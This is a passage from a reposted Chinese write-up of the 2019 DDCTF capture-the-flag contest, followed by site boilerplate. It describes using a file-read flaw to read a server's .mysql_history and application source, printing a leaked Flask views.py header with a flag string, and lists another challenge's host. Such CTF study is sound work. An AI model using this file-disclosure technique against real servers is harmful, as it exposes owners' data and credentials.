也有师傅说可以读 .mysqlhistory

2019 DDCTF

.mysql_history 虽然读不到数据库内容,但是在这里可以看到这里出题者是用了 insert ,我们可以看到他的操作的语句,也拿到了 flag

这里可以读到吃鸡那题的代码,路径为 /home/dc2-user/ctf_web_1/web_1/main/views.py

from flask import jsonify, request,redirect
from app import mongodb
from app.unitis.tools import get_md5, num64_to_32
from app.main.db_tools import get_balance, creat_env_db, search_bill, secrity_key, get_bill_id
import uuid
from urllib import unquote

mydb = mongodb.db

flag = '''DDCTF{chiken_dinner_hyMCX[n47Fx)}'''

Web 8 WEB 再来1杯Java

Description

绑定Host访问: 116.85.48.104 c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法之美

算法之美

[美]布莱恩·克里斯汀、[美]汤姆·格里菲思 / 万慧、胡小锐 / 中信出版集团 / 2018-5-20 / 59.00

我们所有人的生活都受到有限空间和有限时间的限制,因此常常面临一系列难以抉择的问题。在一天或者一生的时光里,哪些事是我们应该做的,哪些是应该放弃的?我们对杂乱无序的容忍底线是什么?新的活动与熟悉并喜爱的活动之间如何平衡,才能取得令人愉快的结果?这些看似是人类特有的难题,其实不然,因为计算机也面临同样的问题,计算机科学家几十年来也一直在努力解决这些问题,而他们找到的解决方案可以给我们很多启发。 ......一起来看看 《算法之美》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

随机密码生成器
随机密码生成器

多种字符组合密码

URL 编码/解码
URL 编码/解码

URL 编码/解码